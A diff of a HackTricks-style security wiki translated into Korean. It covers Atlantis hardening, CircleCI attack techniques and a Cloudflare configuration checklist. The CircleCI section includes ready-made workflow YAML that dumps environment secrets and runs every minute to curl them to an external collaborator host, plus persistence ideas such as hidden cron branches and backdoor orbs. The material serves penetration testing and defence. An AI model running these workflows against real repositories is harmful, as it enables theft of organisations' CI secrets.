- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
- 특정 리포지토리: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- 전체 조직: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- GitHub Enterprise 설치의 모든 리포지토리: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- 모든 리포지토리: `--repo-allowlist=*`. 보호된 네트워크에 있을 때 유용하지만 웹훅 비밀을 설정하지 않으면 위험합니다.
|
||||
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
이 플래그는 귀하의 Atlantis 설치가 귀하가 제어하지 않는 리포지토리와 함께 사용되지 않도록 보장합니다. 더 많은 세부정보는 `atlantis server --help`를 참조하세요.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
공격자가 악의적인 Terraform 코드를 포함한 풀 리퀘스트를 제출하는 것이 귀하의 위협 모델에 포함된다면, `terraform apply` 승인이 충분하지 않다는 것을 인식해야 합니다. [`external` 데이터 소스](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)를 사용하거나 악의적인 제공자를 지정하여 `terraform plan`에서 악의적인 코드를 실행할 수 있습니다. 이 코드는 귀하의 자격 증명을 유출할 수 있습니다.
|
||||
|
||||
To prevent this, you could:
|
||||
이를 방지하기 위해 다음을 수행할 수 있습니다:
|
||||
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
1. 제공자를 Atlantis 이미지에 포함시키거나 호스팅하고 프로덕션에서 이그레스(egress)를 거부합니다.
|
||||
2. 내부적으로 제공자 레지스트리 프로토콜을 구현하고 공용 이그레스를 거부하여 레지스트리에 대한 쓰기 접근을 제어합니다.
|
||||
3. [서버 측 리포지토리 구성](https://www.runatlantis.io/docs/server-side-repo-config.html)의 `plan` 단계를 수정하여 허용되지 않은 제공자 또는 데이터 소스 또는 허용되지 않은 사용자로부터의 PR 사용을 검증합니다. 이 시점에서 추가 검증을 추가할 수도 있습니다. 예를 들어, `plan`이 계속 진행되기 전에 PR에 대한 "좋아요"를 요구하는 것입니다. Conftest가 여기서 유용할 수 있습니다.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
Atlantis는 `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` 환경 변수를 통해 설정된 웹훅 비밀로 실행되어야 합니다. `--repo-allowlist` 플래그가 설정되어 있더라도, 웹훅 비밀이 없으면 공격자가 허용 목록에 있는 리포지토리인 척 하여 Atlantis에 요청을 보낼 수 있습니다. 웹훅 비밀은 웹훅 요청이 실제로 귀하의 VCS 제공자(GitHub 또는 GitLab)에서 오는 것임을 보장합니다.
|
||||
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
Azure DevOps를 사용하는 경우, 웹훅 비밀 대신 기본 사용자 이름과 비밀번호를 추가하세요.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
Azure DevOps는 모든 웹훅 이벤트에서 기본 인증 헤더를 전송하는 것을 지원합니다. 이는 웹훅 위치에 HTTPS URL을 사용하는 것을 요구합니다.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
웹훅 비밀을 사용하고 있지만 트래픽이 HTTP를 통해 전송되는 경우 웹훅 비밀이 도난당할 수 있습니다. `--ssl-cert-file` 및 `--ssl-key-file` 플래그를 사용하여 SSL/HTTPS를 활성화하세요.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
웹 서비스에서 인증을 활성화하는 것이 매우 권장됩니다. `--web-basic-auth=true`를 사용하여 BasicAuth를 활성화하고 `--web-username=yourUsername` 및 `--web-password=yourPassword` 플래그를 사용하여 사용자 이름과 비밀번호를 설정하세요.
|
||||
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
이것들을 환경 변수로도 전달할 수 있습니다 `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` 및 `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,259 +1,235 @@
|
||||
# CircleCI Security
|
||||
# CircleCI 보안
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### 기본 정보
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/)는 코드와 관련하여 원하는 작업과 수행 시점을 정의할 수 있는 **템플릿**을 설정할 수 있는 지속적 통합 플랫폼입니다. 이렇게 하면 예를 들어 **테스트** 또는 **배포**를 **레포 마스터 브랜치**에서 직접 **자동화**할 수 있습니다.
|
||||
|
||||
### Permissions
|
||||
### 권한
|
||||
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
**CircleCI**는 로그인하는 **계정**과 관련된 github 및 bitbucket의 **권한을 상속**합니다.\
|
||||
내 테스트에서 확인한 바에 따르면, **github의 레포에 대한 쓰기 권한**이 있는 한, **CircleCI에서 프로젝트 설정을 관리**할 수 있습니다(새 ssh 키 설정, 프로젝트 api 키 가져오기, 새로운 CircleCI 구성으로 새로운 브랜치 만들기 등).
|
||||
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
그러나 **레포를 CircleCI 프로젝트로 변환**하려면 **레포 관리자**여야 합니다.
|
||||
|
||||
### Env Variables & Secrets
|
||||
### 환경 변수 및 비밀
|
||||
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
[**문서**](https://circleci.com/docs/2.0/env-vars/)에 따르면, 워크플로우 내에서 **환경 변수에 값을 로드하는** 다양한 방법이 있습니다.
|
||||
|
||||
#### Built-in env variables
|
||||
#### 내장 환경 변수
|
||||
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
CircleCI에서 실행되는 모든 컨테이너는 항상 [**문서에 정의된 특정 환경 변수**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)인 `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` 또는 `CIRCLE_USERNAME`을 가집니다.
|
||||
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
#### 일반 텍스트
|
||||
|
||||
**명령** 내에서 일반 텍스트로 선언할 수 있습니다:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
**실행 환경** 내에서 명확한 텍스트로 선언할 수 있습니다:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
**build-job 환경** 내에서 명확한 텍스트로 선언할 수 있습니다:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
**컨테이너의 환경** 내에서 명확한 텍스트로 선언할 수 있습니다:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### 프로젝트 비밀
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
이것은 **프로젝트**(모든 **브랜치**에서)만 **접근할 수 있는** **비밀**입니다.\
|
||||
다음 링크에서 **선언된** 내용을 확인할 수 있습니다: _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
> "**변수 가져오기**" 기능은 **다른 프로젝트에서 변수를 가져올 수** 있게 해줍니다.
|
||||
|
||||
#### Context Secrets
|
||||
#### 컨텍스트 비밀
|
||||
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
이것은 **조직 전체**에 해당하는 비밀입니다. **기본적으로 모든 레포**는 여기 저장된 **모든 비밀**에 **접근할 수 있습니다**:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
> 그러나, 특정 사람에게만 비밀에 대한 접근을 허용하기 위해 **다른 그룹**(모든 구성원 대신)을 **선택할 수** 있다는 점에 유의하세요.\
|
||||
> 이는 비밀에 대한 보안을 **강화하는 가장 좋은 방법** 중 하나로, 모든 사람이 접근할 수 없도록 하고 일부 사람만 접근할 수 있도록 합니다.
|
||||
|
||||
### Attacks
|
||||
### 공격
|
||||
|
||||
#### Search Clear Text Secrets
|
||||
#### 평문 비밀 검색
|
||||
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
**VCS**(예: github)에 **접근할 수** 있다면, **각 브랜치의 각 레포**에서 `.circleci/config.yml` 파일을 확인하고 **저장된 평문 비밀**을 **검색**하세요.
|
||||
|
||||
#### Secret Env Vars & Context enumeration
|
||||
#### 비밀 환경 변수 및 컨텍스트 열거
|
||||
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
코드를 확인하면 각 `.circleci/config.yml` 파일에서 **사용되는 모든 비밀 이름**을 찾을 수 있습니다. 또한 해당 파일에서 **컨텍스트 이름**을 가져오거나 웹 콘솔에서 확인할 수 있습니다: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Exfiltrate Project secrets
|
||||
#### 프로젝트 비밀 유출
|
||||
|
||||
> [!WARNING]
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
> **모든** 프로젝트 및 컨텍스트 **비밀**을 **유출하기 위해서는** 전체 github 조직에서 **단 1개의 레포**에 **쓰기** 권한만 있으면 됩니다 (_그리고 귀하의 계정은 컨텍스트에 접근할 수 있어야 하지만 기본적으로 모든 사람이 모든 컨텍스트에 접근할 수 있습니다_).
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
> "**변수 가져오기**" 기능은 **다른 프로젝트에서 변수를 가져올 수** 있게 해줍니다. 따라서 공격자는 **모든 레포에서 모든 프로젝트 변수를 가져온 다음** **모두 함께 유출할 수** 있습니다.
|
||||
|
||||
모든 프로젝트 비밀은 항상 작업의 env에 설정되므로, env를 호출하고 base64로 난독화하면 **워크플로우 웹 로그 콘솔**에서 비밀을 유출할 수 있습니다:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
만약 **웹 콘솔에 접근할 수 없지만** **레포에 접근할 수** 있고 **CircleCI가 사용되고** 있다는 것을 안다면, **매 분마다 트리거되는 워크플로우**를 **생성하여 비밀을 외부 주소로 유출**할 수 있습니다:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
#### 컨텍스트 비밀 추출
|
||||
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
**컨텍스트 이름을 지정해야 합니다** (이것은 프로젝트 비밀도 추출합니다):
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
만약 **웹 콘솔에 접근할 수 없지만** **레포에 접근할 수** 있고 **CircleCI가 사용되고** 있다는 것을 안다면, **매 분마다 트리거되는 워크플로우**를 **수정하여 비밀을 외부 주소로 유출**할 수 있습니다:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
> 새로운 `.circleci/config.yml` 파일을 리포지토리에 생성하는 것만으로는 **circleci 빌드를 트리거할 수 없습니다**. **circleci 콘솔에서 프로젝트로 활성화해야 합니다**.
|
||||
|
||||
#### Escape to Cloud
|
||||
#### 클라우드로 탈출
|
||||
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
**CircleCI**는 **자신의 빌드를 그들의 머신에서 실행하거나 자신의 머신에서 실행할 수 있는 옵션을 제공합니다**.\
|
||||
기본적으로 그들의 머신은 GCP에 위치하고 있으며, 처음에는 관련된 정보를 찾을 수 없습니다. 그러나 피해자가 **자신의 머신(잠재적으로 클라우드 환경)에서 작업을 실행하고 있다면**, **흥미로운 정보가 있는 클라우드 메타데이터 엔드포인트를 찾을 수 있습니다**.
|
||||
|
||||
이전 예제에서는 모든 것이 도커 컨테이너 내에서 실행되었지만, **VM 머신을 실행하도록 요청할 수도 있습니다**(다른 클라우드 권한이 있을 수 있습니다):
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
또는 원격 도커 서비스에 접근할 수 있는 도커 컨테이너:
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
|
||||
#### Persistence
|
||||
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
- CircleCI에서 **사용자 토큰을 생성**하여 사용자 접근으로 API 엔드포인트에 접근할 수 있습니다.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- **프로젝트 토큰을 생성**하여 토큰에 부여된 권한으로 프로젝트에 접근할 수 있습니다.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- 프로젝트에 **SSH 키를 추가**할 수 있습니다.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- 예기치 않은 프로젝트의 **숨겨진 브랜치에 크론 작업을 생성**하여 매일 모든 **컨텍스트 env** 변수를 **유출**할 수 있습니다.
|
||||
- 또는 브랜치에서 생성하거나 알려진 작업을 수정하여 매일 모든 컨텍스트와 **프로젝트 비밀**을 **유출**할 수 있습니다.
|
||||
- GitHub 소유자인 경우 **검증되지 않은 orb를 허용**하고 작업에서 **백도어**로 구성할 수 있습니다.
|
||||
- 일부 작업에서 **명령 주입 취약점**을 찾아 **비밀**의 값을 수정하여 **명령을 주입**할 수 있습니다.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
Cloudflare 계정에는 구성할 수 있는 **일반 설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 **분석**할 것입니다:
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
|
||||
Review each with:
|
||||
각 항목을 검토하십시오:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -16,9 +16,9 @@ cloudflare-domains.md
|
||||
|
||||
### Domain Registration
|
||||
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
- [ ] **`Transfer Domains`**에서 어떤 도메인도 전송할 수 없는지 확인하십시오.
|
||||
|
||||
Review each with:
|
||||
각 항목을 검토하십시오:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -26,39 +26,39 @@ cloudflare-domains.md
|
||||
|
||||
## Analytics
|
||||
|
||||
_I couldn't find anything to check for a config security review._
|
||||
_구성 보안 검토를 위한 확인할 사항을 찾을 수 없었습니다._
|
||||
|
||||
## Pages
|
||||
|
||||
On each Cloudflare's page:
|
||||
각 Cloudflare 페이지에서:
|
||||
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
- [ ] **`Build log`**에서 **민감한 정보**를 확인하십시오.
|
||||
- [ ] 페이지에 할당된 **Github repository**에서 **민감한 정보**를 확인하십시오.
|
||||
- [ ] **workflow command injection** 또는 `pull_request_target` 손상을 통한 잠재적인 github repo 손상을 확인하십시오. 자세한 내용은 [**Github Security page**](../github-security/)를 참조하십시오.
|
||||
- [ ] `/fuctions` 디렉토리(있는 경우)에서 **취약한 함수**를 확인하고, `_redirects` 파일(있는 경우)에서 **리디렉션**을 확인하며, `_headers` 파일(있는 경우)에서 **잘못 구성된 헤더**를 확인하십시오.
|
||||
- [ ] **코드에 접근할 수 있는 경우**, **blackbox** 또는 **whitebox**를 통해 **웹 페이지**의 **취약점**을 확인하십시오.
|
||||
- [ ] 각 페이지의 세부정보 `/<page_id>/pages/view/blocklist/settings/functions`에서 **`Environment variables`**에 **민감한 정보**가 있는지 확인하십시오.
|
||||
- [ ] 세부정보 페이지에서 **build command**와 **root directory**를 확인하여 페이지를 손상시킬 수 있는 **잠재적 주입**을 확인하십시오.
|
||||
|
||||
## **Workers**
|
||||
|
||||
On each Cloudflare's worker check:
|
||||
각 Cloudflare worker에서 확인하십시오:
|
||||
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
- [ ] 트리거: 무엇이 worker를 트리거합니까? **사용자가 데이터를 전송**할 수 있습니까? 이 데이터는 worker에 의해 **사용**됩니까?
|
||||
- [ ] **`Settings`**에서 **민감한 정보**를 포함하는 **`Variables`**를 확인하십시오.
|
||||
- [ ] **worker의 코드**를 확인하고 **취약점**을 검색하십시오(특히 사용자가 입력을 관리할 수 있는 곳에서).
|
||||
- 제어할 수 있는 페이지를 반환하는 SSRF를 확인하십시오.
|
||||
- svg 이미지 내에서 JS를 실행하는 XSS를 확인하십시오.
|
||||
- worker가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, worker는 입력에서 얻은 정보를 저장하는 R2 버킷과 상호작용할 수 있습니다. 이 경우, worker가 R2 버킷에 대해 어떤 기능을 가지고 있는지, 그리고 사용자의 입력으로부터 어떻게 남용될 수 있는지를 확인해야 합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
> 기본적으로 **Worker는** `<worker-name>.<account>.workers.dev`와 같은 URL을 부여받습니다. 사용자는 이를 **서브도메인**으로 설정할 수 있지만, 알고 있다면 항상 그 **원래 URL**로 접근할 수 있습니다.
|
||||
|
||||
## R2
|
||||
|
||||
On each R2 bucket check:
|
||||
각 R2 버킷에서 확인하십시오:
|
||||
|
||||
- [ ] Configure **CORS Policy**.
|
||||
- [ ] **CORS 정책**을 구성하십시오.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -70,8 +70,8 @@ TODO
|
||||
|
